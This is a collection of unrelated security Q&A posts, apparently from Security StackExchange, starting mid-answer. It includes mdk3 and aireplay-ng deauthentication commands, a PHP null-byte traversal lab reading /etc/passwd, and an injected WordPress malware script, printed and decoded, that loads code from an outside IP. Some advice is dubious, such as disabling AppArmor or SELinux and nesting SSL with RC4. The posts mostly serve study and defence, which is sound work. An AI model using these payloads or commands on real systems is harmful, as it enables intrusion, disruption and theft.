However the data its self maybe sensitive.  If that is the case,  then this may also need to be encrypted, and aes_encrypt() would be a poor choice for this type of data. CBC+Random IV is a good choice.   MySQL doesn't allow query stacking,  so an attacker will never be allowed to insert a session record. If this was MS-SQL, then you would have to worry about this attack.


How can WhatsApp recover messages sent to a damaged phone? My mom has an Android phone that fell in the water for a couple of seconds, around 16:30. She managed to disassemble the phone and turn it off. We both share a group that is end-to-end encrypted (all participants have new WhatsApp versions). The same day, around 21:00, while her phone was dead, I sent this group a message. In the next day, she took the phone to a repair shop and they changed some pieces and the phone was back to life. Once I got my hands on the phone, I noticed it had been factory reset, all apps gone, new Android version, no customisation, no files, no wi-fi password, totally blank. So I proceeded to reinstall WhatsApp for her, put her number in, expecting to see her old groups, but no messages. To my surprise, she received all the messages, including my own, that the group received while the phone was dead, before the factory reset.

I think I know how public-private keys work, and from what I understand the private key that is necessary for her to decrypt the messages sent to the group while the phone was dead was lost once the reset was made, since the messages stored at WhatsApp servers were encrypted with her old public key, with a now unmatched private one. So how could the app have received these messages?

A couple of theories that I have:

Her phone wasn't factory reset, or somehow the private key survived. I think this is unlikely since I had to install the app again and the phone had all signs to have been completed wiped out. It's important to notice that I don't know what the guys at the repair shop did to the phone, and she is unable to explain it to me.
My phone, upon seeing that her phone was back online, received her new public key and sent her again the message with new encryption. I don't have enabled that setting that warns about your contact's keys change, so I don't know if this could have occurred. For me it  looks strange that my phone would promptly trust the new public key. But this theory gains strength since I noticed the messages are in the order from fastest devices to slowest. It's a group family, I have the fastest device, my sister has the middle and my dad has the slowest. The messages are in this order and never interchange.

The messages in question arrived as unread messages, with the timestamp when they arrived, not when they were sent. Because of this I cannot judge if the individual chats also received messages from the dead period. I can only judge from this particular group because I knew it was end-to-end encrypted from the start.

The sender will re-encrypt the message with the new credentials bound to the same number and re-send it.

WhatsApp protects from passive interception, but it does not protect against a man-in-the-middle or someone who hijacks the phone network.

Sad, really.

Ref:

How WhatsApp Needs to Improve Its Encryption
ss7 attack leaves whatsapp and telegram encryption useless
Is it possible to intercept/hack a WhatsApp conversation


Aireplay-ng doesn't work properly on Ubuntu I want to do De-auth attack on Ubuntu 14.04 using Aireplay-ng.
I am using alfaawus036h, so when I tried it on Kali or Backtrack, after plug in, it worked fine and there was no problem.
but when I tried on Ubuntu, it didn't work properly. After some errors like fixed channel -1, Aireplay-ng works like this:

Sending 64 directed DeAuth. STMAC: [xx:xx:xx:xx:xx:xx] [0|0 ACKs]

,but there was no effect on the network.

I thought that maybe Alfa card should have proper drivers to work perfect, so i used katoolin for adding Kali repositories on my Ubuntu 14.04.
but after using sudo apt-get install aircrack-ng and running the aireplay-ng, i couldn't solve the problem, any help? thanks!

============
EDIT:
After two Sending 64 directed DeAuth. STMAC: [xx:xx:xx:xx:xx:xx] [0|0 ACKs] it shows network is down and my interface will be disabled!

How can i be sure that all drivers for Alfa card are installed properly on my Ubuntu?!!

Checklist to verify:

AppArmor - profile and logs, there can be interfering rules.
SELinux - same as above. Try disabling both as a dummy solution. If it still does not works - then first two options are no way in dealing problem. But I saw cases when they did
use ldd <command> and compare libs versions from Kali and Ubuntu. If Ubuntu - especially LTS - has an old ones, make a source compilation at Kali with full static binary - and use this binary on Ubuntu. It is the easiest way to fix this issue in Ububtu


Issue certificate through CA that contains a different domain in it? Suppose I own the whynot.com domain. Can I request a certificate for google.com\0x.whynot.com ?

Since google.com\0x.whynot.com is not a valid hostname you should not by able to get a certificate for it.  But it was possible once to misuse null characters like you attempt. For more details see Black Hat 2009: Breaking SSL With Null Characters.


When is an antivirus program needed/useful? Let's say I buy a computer and use the internet for services but rarely download anything and when I do it is from legitimate sources with a minimal to non-existent chance of malware.

What benefits can an antivirus program provide me other than detecting or preventing those few downloads from containing malware?

Or I guess more generally - Is antivirus needed if a computer doesn't download files but only uses web applications?

Of course, you will always need an anti malware program even if you do not download files by yourself. Why ? Because a simple visit to the most innocent website you know, may trigger an attack and install you malware (more likely spyware) that can lead even to a total control of your machine.

I advice you to read about drive-by download attacks that can exploit the vulnerabilities of your browsers and or their plugins and install without your consent or knowledge more or less dangerous malware.

  When is an antivirus program needed/useful?

As I said, always. Unless if your computer is totally disconnected from internet and you never use any external media (USB sticks, external HDD, CDs ...) to read  data (in which case, your computer is useless)


Crypto Ransomware - How decryption is done when user accept to cooperate? When you have been "hacked" and you accept to pay for decrypting your encrypted files, how the attacker do the job ?

I understood that a symmetric key is used, itself encrypted by the attacker public key.

Is the symmetric key stored locally (victim computer) ?
When the user "accepts" to cooperate, what are the technical details concerning decryption ?

Sometimes, the attacker decrypts some few files to prove he can decrypt all the files, but, if the victim has some crypto knowledge, how can the attacker just decrypt some files without revealing the symmectric key : is the decryption process done attacker-side ?

Thanks.

It depends on the individual malware, but normally a random symmetric key is generated on the machine (which is used to encrypt the files), which is then encrypted with an asymmetric public key embedded within the application. This encrypted key file is kept locally on the system, but it is useless unless you have the private key to recover the symmetric key.

When the user cooperates, the encrypted key file is given to the bot owner, who can then use their private key to decrypt the symmetric key. This key file and a decryption program is then given back to the user, which then allows them to decrypt their files.

In terms of "proof" of decryption, I'd imagine the user sends the file to the attacker and they decrypt it as proof, rather than providing a single-file decryption program.


Do the Secret Chats of Telegram really support Perfect Forward Secrecy? In the Telegram API it is stated that Telegram support Perfect Forward Secrecy in their "secret chats". It is also stated that

  official Telegram clients will initiate re-keying once a key has been used to decrypt and encrypt more than 100 messages, or has been in use for more than one week, provided the key has been used to encrypt at least one message.

So my question is, in this case, if a session key gets compromised, is it possible for an attacker to read 100 messages (or possibly more)? If yes, can we still say that perfect forward secrecy is satisfied here?

Well, one of the biggest misconceptions and I can also see why it is one, would be the very name itself Perfect Forward Secrecy (PFS). One of the key distinguishing features of PFS is to limit the extent of the damage & breach, and not to achieve perfectness and 0% data loss/leaks.

You are right if Telegram Secret sessions are limited to 100++ messages hence if a particular session would be compromised so would the 100++ messages.

Telegram Secret chats have a Self-Destruct function set to the read messages as well, this is also to limit the impact on breaches. When the recipient reads the message from the sender, within X amount of time the message will self destruct. An attacker would be able to access the session but might be looking at an empty session.


MDK3 deauthentication attack problem: Every station gets disconnected Having echo >'ed the BSSID of the AP into a file called blacklist, I run the following command to start a deauthentication attack:

  mdk3 wlan0mon d -w blacklist -c 11

The problem is however, that every station on every network gets disconnected. This include the desktop I'm sitting at, as well my laptop, even thus they are not connected to the blacklist AP.

What could the problem be - any ideas?

I've no problems with aireplay-ng --deauth, if that should be of any value.

You can add the mac adresses you want to attack in a blacklist file,  and run mdk3 with the -b flag. Since you used the -w flag,  it disconnected everyone except the target.


How to redirect any response to an arbitrary location in OWASP ZAP's request editor? I am trying to find stored XSS in an application. Luckily, the application allows me to insert and edit the description of myself that is displayed to anyone visiting my profile.

The location where I edit my description: http://example/edit_desc?content=test

Page where the edited description is displayed: http://example/user

Coming to my problem, how can I configure zap's request editor in such a way that when I send request in the http://example/edit_desc?content=test, the response for http://example/user is displayed?

NOTE: One possible thing I thought of was to include Location: http://example/edit_dec?content=test as header of every response but figured out no way to do it in the Request editor.

edit: working solution below!

I would look at building a proxy rule script to check for the URL path being called, and then make a call to the 'response' path.

Examples:
https://github.com/zaproxy/zap-core-help/wiki/HelpAddonsScriptsScripts

Here is the example template for proxy scripts:
https://github.com/zaproxy/community-scripts/tree/master/proxy
and the corresponding documentation for the HTTPMessage object that you'd be handling:
https://www.zaproxy.org/2.5/javadocs/org/parosproxy/paros/network/HttpMessage.html

simple solution

I don't work with javascript(mostly a python guy), but let's see if we can work through a basic script:

Here's the example JS proxy script template linked above:

/**
 * This function allows interaction with proxy responses (i.e.:
inbound from the server to the browser/client).
 *
 * @param msg - the HTTP response being proxied. This is an HttpMessage object.
 */
function proxyResponse(msg) {
// Debugging can be done using print like this
    print('proxyResponse called for url=' +
msg.getRequestHeader().getURI().toString())
    return true
}

So if we want to go somewhere else, we can try a 307(temporary redirect) like so:

function proxyRequest(msg) {
return true
}

function proxyResponse(msg){
    print(msg.getRequestHeader().getURI().toString());
    if (msg.getRequestHeader().getURI().toString().contains("edit_desc?content=")) {
        print("Found the URL!");
        var uri = msg.getRequestHeader().getURI().toString()
        var username = uri.match(/content=(.*)/)[1];
        var redirUrl = "http://example.com/"+username;
        msg.getResponseHeader().setStatusCode(307);
        msg.getResponseHeader().setHeader("Location", redirUrl)
    return true;
    }
}

If you throw that in a new proxy script(if you're having trouble with it not letting you make a new script, duplicate another and replace everything), enable it, and voila, it redirects any requests with 'edit_desc?content='user to 'http://example.com/user' after submitting the request to the server.

script in action

script enabled:

request in history:

response view:

browser state:


Does Facebook merge accounts? In what circumstances? I have two different Facebook accounts with two different passwords and two distinct online personalities, one as myself and one as someone else. Since the last one week, to my horror, both accounts were fused as one. Has this happened to anyone else? How does Facebook decide to merge accounts?

Edit: I wanted to clarify my situation.

I have two Facebook accounts A and B, both using distinct email addresses. One is me posting as myself and the other uses a fictitious name.

I log out of A and log into B. I am logged into B now but I can access all of A's private messages. How is this even possible?

Furthermore when I log into B and post on A's wall saying, "This is terrible" then my message appears on A's wall as follows -

A > B This is terrible.
In other words, Facebook conveys that this is A posting as B.
Something is wrong.

If what you are seeing is as some other folks said - when you try to log into one account, it actually logs you into your other account - then this may not be a server-side merge but a client-side login/logout issue. The scenario is fairly common and not limited to Facebook (similar things can happen with other Identity systems like OpenID or Shibboleth):

Log in to Facebook as IdentityA. Facebook caches some stuff in a browser cookie.
Do some stuff. Third-party apps might open Facebook sessions to "like" things.
Log out of Facebook. Facebook logs you out but cookie isn't cleared, and/or third party apps retain their FB connections .
Log in to Facebook as IndentityB. Facebook sees your existing session info (either from cookie or third-party connection) and uses it, logging you back into IdentityA.

If this is what's going on, a solution might be to close/reopen the whole browser, or to Ctrl-F5 clear cookies. Facebook isn't actually merging accounts, according to all available evidence.


Php Session ID, http VS https So I was doing some tests with the php session ID cookie. I know that data is stored on the server however, a cookie with a unique ID is stored so that the server can recognize the client while browsing. So, what happened is I got the ID of the cookie and opened firefox on a different computer, I edited that phpsession cookie to the id I had on the computer where I logged in... and bam, just as expected, I was logged in.

All I could do to patch was to check that the http user agent and the first three group of numbers (xxx.xxx.xxx.123) of the IP do not change (to avoid the dynamic IP problem). I want to know though if using a permanent HTTPS connection will make the content of the php session ID un-hijackable, like someone getting into my computer, grabing the cookie content, and using it for themselves.

Extra question, I know that security through obscurity is not good but is there a way of changing the cookie name to some acronym like ps or sid?

EDIT: I do not thing this question is a duplicate because on the linked question the process to set this flags and configuration values is not mentioned.

The cookie is what identifies the session so if it is stealed the session is stealed. What you have to do is to protect the application and the cookie to avoid being hijacked.

Use the HttpOnly flag
Use HTTPS
Use the secure flag
Use the correct cache headers
Don't use the cookie in the URL
Use temporary cookies

In general, you can use the OWASP Testing Guide v4 to protect the whole application and thus protect the cookies.


Understanding nibbles & encoding using owasp EnDe tool? I'm using owasp EnDe web-based tool to understand nibbles and encoding in general. This online utility in my knowledge is the best free resource avaiable for anyone who is interested to learn encoding techniques.

I'm testing a sample input which is  abcdwxyz.

Now, the results of encoding it based upon first nibble and second nibble is given as 36,1,36,2,36,3,36,4,37,7,37,8,37,9,37,A and 6,31,6,32,6,33,6,34,7,37,7,38,7,39,7,61 respectively.

A simple representation in hex of above sample input is 61 62 63 64 77 78 79 7a .

Can someone explain how it relates to the use in this tool?

For those who are interested in download owasp live cd here is the link http://appseclive.org/content/downloads

UPDATE

With some help from guys at stackexchange sisters I'm able to figured out the messy stuff. The whole encoding works like this.

Actually i was confusing in nibble 1 and nibble 2 definition in the tool. In theory nibble 1 should refer to high nibble and nibble 2 as low nibble. I was just confused in the use of nibbles format in the tool.

Now consider this. enDe tool takes entire set (abcdwxyz) and convert it into now the tools converts it like this 36,1,36,2,36,3,36,4,37,7,37,8,37,9,37,A based upon following logic.

For string (abcd) it writes as 36,1,36,2,36,3,36,4 by picking on e.g

'a' -> hex (61) -> chr(36)
At the end appending 1 on left side as 36,1

Now, when i choose nibble 2 it translates abcdwxyz as
'a' -> hex (61) -> chr(31) At the end appending 1 on left side as 6,31

Now, two things to notice here is that in nibble 1 (encoding) msb(6) is used to get hex equivalent 36 for nibble 2 encoding lsb(1) is used to get hex equivalent 31 appending lsb before result (6,31). I'm still little confused about the use and placement of nibbles I hope someone in here would take time to comment and explain more.

I hope this explanation others to understand the use of such useful tool and a little a feedback on this little research from the site gurus would be a plus too:)

Although your question is far from clear, what apparently happens in your encodings is rather simple to unravel. See your example string abcdwxyz. When encoding in ASCII, this yields 8 bytes, with hexadecimal values: 61 62 63 64 77 78 79 7a.

Now, for each byte, take the left hexadecimal digit: it is a character which itself has an ASCII code, which can be represented in hexadecimal. For instance, 61 begins with 6 and the ASCII code for the character 6 is 54 -- that's 36 in hexadecimal. On the other hand, you can take the right hexadecimal digit, which represents a numerical value between 0 and 15, and represent that value as an hexadecimal digit (using digits 0 to 9 and letters A to F). In other words, you keep the right digit unchanged, except that you possibly normalize it to uppercase.

If you apply these rules, then 61 becomes 36,1, 62 becomes 36,2, and so on... up to 7a which becomes 37,A. And you end up with your first "encoding".

If you do the same process, but reversing the roles of the left and right hexadecimal digits for each byte (i.e. you keep the left hex digit of each byte unchanged, and you convert the right hex digit to the hexadecimal representation of the ASCII value of its character), then you obtain your second "encoding": 61 becomes 6,31, 62 becomes 6,32... and 7a becomes 7,61 (the ASCII code for a is 97, aka 61 in hexadecimal).

For the life of me, I cannot fathom what possible use these "encodings" could have.


Why would security cover things like natural disasters? I'm taking a course which is designed with the CISSP certification in mind. Though the class is categorized as software engineering, we talked a lot about physical security and, in particular, floods, fires, earthquakes and cars running into things. How is this security? For example we were told that data centres are safest in the middle of a building because if the roof was leaking the top wouldn't be safe, and water tends to go down so the lower floors would be the first to flood.
Is this really a security issue? For example, if the roof leaks the engineer would be at fault, not the security analyst. You wouldn't hire a security analyst to make sure the roof is solid.
UPDATE: Also, things like having bollards around a building to protect pedestrians from cars, how's this security? No one's really explained this yet. I was told the companies most valuable assets are their employees, but with this line of reasoning, what isn't security?
If the availability is so encompassing, what isn't part of security?

All other answers are fine. I'm going to offer you a classic security perspective.

Starting a fire/flood is a textbook scenario for physical penetration/exfiltration. People under stress are less likely to challenge strangers.
A fire can be used to destroy forensic evidence, in particular when there's insider involvement.
An earthquake or, indeed, any natural disaster (like bush fires) is a potential complication for security because law and order break down and looting rears its ugly head.
Perimeter security against SVBIEDs is a necessary consideration in certain countries and threat environments. If a suicide car bomber can drive close to the walls of your data center, it is your failure as a security consultant. Hence bollards, flowerbeds, and concrete barriers.
Security is a holistic discipline. Every specialist cares about bits and pieces of the enterprise, and by necessity of life loses sight of the whole. There should be at least one person out there who thinks in terms of adversary's behavior and not his/her own pigeonhole. Which, incidentally, is a security consultant's job description.


Starting out, where should I be looking for vulns? Big bounty sites vs. smaller projects? I'm an amateur web application security enthusiast with what I would say is an intermediate level of knowledge at this point. I'm interested in finding full time work as a web app pen tester.

Up until now I've been working mainly on vulnerable web apps hosted on VMs locally.

I'd like to start doing actual vulnerability research and try and get some CVE listed bugs to my name.  I feel that lacking a degree or directly relevant work experience this basically serves as a portfolio and demonstrates proficiency.

My question is where should I start looking?

Should I aim for the high-profile sites offering bounties like the ones listed on Bugcrowd?

Or would a better approach be to audit smaller, open source projects and submit my findings to their teams?

My thought process is that bigger high profile sites will be much more heavily scrutinized so less chance of a finding interesting issues when you're not as experienced. But finding a bug there is a bigger deal.

Whereas smaller projects may not be putting much work into security to begin with so bugs may be plentiful to find but do they mean anything in terms of demonstrating proficiency & in terms of a portfolio to show to employers? (Aside from the value brought to the project by making their code more secure assuming they are receptive to your efforts).

Where did you start?  Any tips on how to proceed?

The choice between projects with big bounty offerings and small projects with no budget at all is getting less and less important.  Projects like Google's Patch Reward program mean that even bugs in GCC can earn you money if you write a patch to fix the bug.

You can earn recognition for projects without bug reward programs.  As an example, a couple of Googlers started using their fuzzing framework to look for bugs in ffmpeg and now, two years later, they have had over 1,000 security bugs patched.  They chose ffmpeg because it had a history of security bugs, was easy to test and it was used by lots of people.  It also shows that you can spend a long, long time on a single project.

But in order to receive the right kind of recognition, the quality of your reports must be high.  Some people submit lots of reports and get lots of CVEs but vulnerability database maintainers hate seeing a new report come through because it's so much work to extract the truth from the report.

The best advice I can give for getting started is to find a project that you enjoy working on and know well that's written in a language you know well or has a class of bugs you know well (such as XSS or memory corruption).  That way all of your focus can be on learning the new tools and learning the vulnerability database process rather than learning a new project and programming language.

Finding a project with a history of security bugs is a good idea if you can manage it.  The theory is that although it has had a lot of bugs fixed already, there are many more left undiscovered because the developers are not good at secure coding practices.  Projects where the developers are good at secure coding just don't have as many security bugs to find.

Later, once you are well grounded in all of those new things might be a good time to expand into new languages and new projects.

I did just think of an interesting class of apps that fit several of the criteria above.  A new-ish phone app with an infinite number of inputs, an exponential growth curve and a history of security flaws that has just been purchased for exorbitant amounts of money by a large company with an existing bug bounty program.  Yep, WhatsApp.  Although any ridiculously popular phone app that performs network access would be a good candidate for fuzzing so Candy Crush Saga, Flappy Wings, Splashy Fish, Telegram, Threema, etc. are all good candidates.


Is BSI’s process good? (Informing email address owners that their address/password (of unknown/different accounts) was stolen) The German BSI (Federal Office for Information Security) claims to have got a list of 18 million email addresses and passwords – supposed to be the result of identity theft.

They allow to check if your own email address is part of this (or an older) list, which works like that:

Enter an email address at https://www.sicherheitstest.bsi.de/
After submission, they show a four-digit code.
If the entered email address is NOT part of the list: Nothing happens.
If the entered email address is part of the list: The BSI sends an email to the entered address, which

is signed with their OpenPGP key, and
contains the four-digit code in the subject line.
(The mail doesn’t contain the password.)

The OpenPGP signature and the code in the subject line make sure that the email is really coming from the BSI (phishers already send emails in the name of the BSI).

But besides that, is this process really a good practice?

As far as I can see, it has two problems:

It’s not known if the list contains logins for email providers or for other sites (shops etc.). But if these would be logins for the email accounts (or if people use the same password there), the thiefs could control the email account and filter out any email coming from the BSI, right? So these people would never notice that their data is contained in BSI’s list.

So people that don’t get a mail can’t be sure if their data is not in the list or if the mail got intercepted (unless they change their password before even entering their email address in the test).

And as they don’t send the password contained in the list, users (that use unique passwords for each site) can’t know which of their accounts are affected (→ many sites use the email address as username).

So people would have to change their passwords on all sites using their email address as username.

Am I right? Or are there good reasons why they handle it like that?

Could the process be improved? Are there any best practices for such situations where the data of many different services is involved (and not only from a single provider)?

I think this is a matter of degree. The list will help many people but maybe not everyone. However, if someone already has control of your email you have bigger problems anyway.

It is better than not being able to find out at all though as at least the majority of people will be able to find out and change their details if needed.

The only improvement I can think of would be to have a pre-confirmation first. You put in your address, the system sends you an email with a code you haven't seen. You enter the code and that confirms that you have some level of control of your email address. Then it sends the information. Any hacked account would then need more sophisticated monitoring and filtering to let through the first email but not the second. Hardly worth it for anyone to do.


Securely generate a rng seed using a small number I'm trying to figure out a secure method to generate a rng seed to a rng using a small pin number that is 5 digits.

The issue that i can see with this is an attacker could very easily just loop through all possible 5 digit numbers and eventually determine the seed.

I apologize if this is a very basic and naive question. Just trying to get some thoughts about it

EDIT

I want to be able to seed the random number generate with input that can be remembered because i want a user to be able to go to a different computer and have the same output from the rng.

If the user can go to a different computer, then so can the attacker. What differentiates the attacker from the normal user is only the knowledge of the 5-digit PIN.

Computers are deterministic systems, which means that the attacker can conceptually own 100000 computers; on computer 0, he runs your key derivation function over PIN 00000; on computer 1, he runs the function with PIN 00001; and so on. One of these computers will necessarily use the true user PIN, and produce the same "RNG seed" as the attacked user.

This kind of simulation is highly flexible. Generally speaking, if the user needs to invest X resources into using your system (say, it takes one second of computation on a normal computer), then the attacker can simulate all the virtual users with 100000*X resources. This can be by using 100000 computers and be done within one second; or by reusing one computer again and again, and thus taking 100000 seconds to iterate through all possible user PIN (that's a bit less than 28 hours). Or any combination in between (e.g. 10 computers running for 3 hours).

You have only two ways out of this conundrum, neither of which really solving your problem:

You can try to arrange for the derivation from PIN to RNG seed to take a lot of resources. This is basically the approach of password hashing. The main problem here is that the user is not patient, and won't use your system if it takes 20 seconds to process the PIN (for card payment systems, it has been measured that the whole process must be done within 8 seconds, otherwise the consumer goes berserk). The attacker, on the other hand, has a lot more patience, often has more powerful computers that can go faster than the average user's hardware (especially if we are talking about smartphones), and can in general muster a lot of them (if only by renting machines in some cloud like Amazon's).
In some very rare contexts, you can arrange for making it impossible to test for a good PIN. In the exhaustive search attack, the attacker tries all possible PIN and stops when he finds the one that "works". If a bad PIN yields a result that is ultimately as plausible as what you have with the good PIN, then the attack no longer works. But this is very restrictive.

For example, if the PIN is about protecting (through encryption) the user's files on a smartphone, then the attacker can easily see if the decryption yields files that "make sense", or just random garbage.

So, in practice, what you are trying to achieve won't work with a 5-digit PIN. Since the problem is basically that the attacker is more patient and more powerful than the user, and has comparatively few combinations to try, you need to either make the user more patient (good luck with that), or more powerful (hard to do, since the attacker can buy at least the same kind of machine as the user), or to increase the number of possible combinations. This is known as "password entropy". See this question for some discussion on kinds of passwords that can pack substantially more entropy (in that case, 44 bits, i.e. 244 = 17592186044416 combinations) while remaining easy to remember for a normal human user.


Secure log in without sending plain test to server I know this question asked so many times, but here I am again with it. I am working on an application in which I need to log-in users but the question is it is not a good Idea to send user credentials in plain text, as they can be crack by any network tool (don't know how so if you can tell this too then it will be very help full). So can anyone tell me a batter idea.

I have some solution from them I am currently generating client and server key and then I concatenation client key + hash user password + server key and post to server this three things.

Same process to server and compare this 2 hash.

Is this enough?

Well I had also looked to jcryption.

Any one suggest me any good Idea?

Thanks....

With your proposed system, anyone who intercepts the login transaction can store a copy of the password hash and use it in place of the password to impersonate the user.

If you really can't use SSL to protect communication, look into challenge-based authentication systems, where the password is never transmitted over the network, but instead proof that the password is known is transmitted, and this is done in a method that prevents replay attacks.


How long can a pkcs#8 passphrase be? A program is using a private key to read messages. To improve security, besides randomness, I'm trying to create the longest passphrase that makes sense.

How long should it be? After which amount of (random ascii) characters does it stop making sense adding more to the passphrase?

PKCS#8 is a flexible standard; it is a syntax for encoding private keys with optional password-based encryption. The security level that can be achieved depends on the algorithm used to convert the password into a key, and the cryptographic algorithm that works with this key. PKCS#5 defines a number of combinations of password-based key derivation and encryption algorithm.

For instance, suppose that you use PBKDF2 with HMAC/SHA-1 for key derivation, and 3DES for encryption. 3DES accepts a 192-bit key; however, only 168 of these bits are really used. SHA-1 output has size 160-bit, and this imposes a hard limit of 160 bits to the security of PBKDF2 with HMAC/SHA-1. Therefore, with that combination, it makes little sense to use a password with more than 160 bits of entropy.

Entropy is not automatically derived from password length, but if you use random characters (uniformly random characters, chosen independently of each other -- i.e. not at all the kind of password that a human user could come up with) then the relationship between length and entropy is easy. There are 95 printable ASCII characters (not including space) so each random character brings about 6.57 bits of entropy (because 26.57 is approximately equal to 95). Therefore, 160 bits of entropy are achieved with 25 characters. With these algorithms, it would make no sense whatsoever to use more than 25 characters, as long as these characters really are chosen randomly, uniformly and independently of each other.

In fact, password-based key derivation functions like PBKDF2 include thousands of iterations so that any attempt at exhaustive search would be slowed down; this is equivalent to some extra bits of entropy (in that context). If there are, say, 1000000 iterations, then these count as 20 bits (because 220 is approximately equal to 1000000, and each PBKDF2 iteration roughly implies the same amount of work as an elementary 3DES encryption block). From the figure above, account for these 20 bits by removing 3 characters, down to 22. Of course this depends on the iteration count that you are really using.

Arguably, going beyond 128 bits of entropy is already a big waste of time.

To get more information on these subjects, read the following answers:

Theory and practice of password hashing and password-based key derivation
Detailed examples of password entropy computations
How to choose the number of iterations in PBKDF2
Considerations on hard limits on computational complexity accessible to Mankind


Getting null byte injection attacks to work with PHP 5.2.17 I'm trying to understand how null byte injection attacks in PHP code used to work before it was patched in PHP 5.3.4. I have this sample HTML page that is a somewhat modified version of what's shown here:

<?php
var_dump($_GET);
echo '<br>';
$file = $_GET['file'];
$path = '/var/www/' . $file . '.php';
echo $path;
if (file_exists($path)) {
    echo "file exists!";
    include $path;
}
?>

This code is running on an Ubuntu 12.04 system running PHP 5.2.17. I would expect a URL like http://localhost/?file=../../../etc/passwd%00 to work, but instead I see \0 printed literally in the string:

array(1) { ["file"]=> string(21) "../../../etc/passwd\0" }
/var/www/../../../etc/passwd\0.php

What am I doing wrong? How can I get null byte injection attacks working on my local machine?

The echo output with the \0 included is supposed to happen, nothing to worry. In order to understand the attack, you have to know how C and PHP store strings.

C

In C, a string is simply a a pointer to a memory address where the pointer points to the start of the string, and the \0 character indicates the end. No length is stored, all code that reads strings reads until the \0 character is reached. A C string can be as long as it wants to be.

PHP

In PHP, a string consists of two parts: one integer and one array. The integer denotes the length of the string and the array, the array contains the string itself. All String handling code in PHP reads that integer and knows how long the string is. It ignores the \0 character. The integer has an upper limit, and so does the length of the string.

The attack

The attack bases on this different string handling. So as you can include a \0 character into the PHP string, printing the string will include the \0 character. So your output will be /var/www/../../../etc/passwd\0.php. The magic happens the moment PHP gives that string to C: C interprets the \0 character as string termination and thinks it got /var/www/../../../etc/passwd. And this file of course exists.

The fix

From the release notes:

  Paths with NULL in them (foo\0bar.txt) are now considered as invalid. (Rasmus)

The fix mostly consists of adding if-clauses, comparing the string length with the c method (left) and the php method (right):

if (strlen(Z_STRVAL_PP(file)) != Z_STRLEN_PP(file)) {
    RETURN_FALSE;
}


How can I add a layer of security to cleartext passwords and SSL? I'm creating a web API in .Net for a web application.  I'm wondering what the industry standard for login authentication is.

I know that most people believe that sending cleartext username/passwords over SSL is enough security, but I don't want to place all of my trust that SSL won't be broken in the future and I'm a firm believer in security in layers.

How else can I add more layers of security to my login authentication besides SSL and cleartext usernames/passwords? Client side encryption? Challenge-response?

If you believe in layers, then add some layers. For instance, run your SSL within another SSL, and arrange for the two SSL layers to use distinct algorithms (e.g. the outer SSL works on AES encryption and an ephemeral Diffie-Hellman key exchange, while the inner SSL uses RC4 encryption and RSA-based key exchange). This is undoubtly layered, and, as far as layers go, probably the best that you can get (notably, it is relatively obvious that you do not harm your security that way).


Hashed passwords - How many variations of rainbow tables? First off...I passed the CISSP exam. WOOOO. I had to get that out. GCIH and CEH by Sept. 11'

So, while studying for the technical side of things, I see that there are rainbow tables. They are pre-hashed to compare the victim's hashed password (from shadow or SAM), but there are many different hashing algorithms out there. So does there have to be a rainbow table for each and every algorithm AND I have to run the comparison through every algorithm?

In other words how am I to know which algorithm was used: MD5, SHA-1, NTLM, LANMAN?

Are the passwords from one system like Windows 7 always going to be in NTLMv2, and Unix always going to be in MD5 - or can a user modify his system and specify the algorithm to use for his system's passwords - like SHA-256?

Hum many questions in one

Rainbow tables are designed for one particular hashing algorithm.
It is difficult to say which algorithm is used, but the hash length can give you hint.
For shadow files you can see : https://serverfault.com/questions/88284/how-is-a-password-hash-encoded-in-the-shadow-password-file


Sucuri detects malware on wordpress but I can't find the malicious code Yesterday I got a report asking us to check some wordpress website because the person's antivirus blocked said web.

I ran the Sucuri Site Check and it indeed detects malware:

"Known javascript malware: malware.injection?39"

<!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe-->

I disabled the web and download all the source code. But when I try to look for the malicious code...I can't find anything. I search in all files and I can't detect anything.

What can I do? Any help would be appreciated.

The malware in question is hosted elsewhere, and is (probably) being added by cross-site-scripting (XSS). If you have a look at the "var src" part, you'll see a long string of Base64-encoded text:

ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=

When decoded, that turns out to be the following:

document.write(unescape('%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%31%39%33%2E%32%33%38%2E%34%36%2E%35%37%2F%6D%52%50%50%7A%43%22%3E%3C%2F%73%63%72%69%70%74%3E'));

document.write adds the specified code into the DOM. URL-decoding the part inside "unescape" results in the following script tag (spaces added to break it):

<script src="http://193.238.46.57/            mRPPzC"></script>

So, the malware is likely hosted at THAT url (whatever it is), and is being injected into the page via the document.write command.

A quick guide to how I did this

Install Notepad++.
Make sure the Mime tools plugin is installed (might be by default?)
Copy the Base64-encoded string into a new file, and select the text.
Under "Plugins", select "MIME Tools" --> Base 64 Decode
Copy and paste the part inside unescape onto a new line
Select the new line and then select "Plugins" --> MIME Tools --> URL Decode


WebCrypto, SOP and Yubikeys I've been following some discussions on WebApp Security mailing list regarding WebCrypto and SOP policies (100+ messages). One of the things that kind of sprang out was keys held in WebCrypto were not enumerable because they could be used as super cookies, and that could have negative consequences for privacy. This was discussed on the WebCrypto list a while back, so its not new news. The leap is then usually made that its bad in all cases (which it often is).

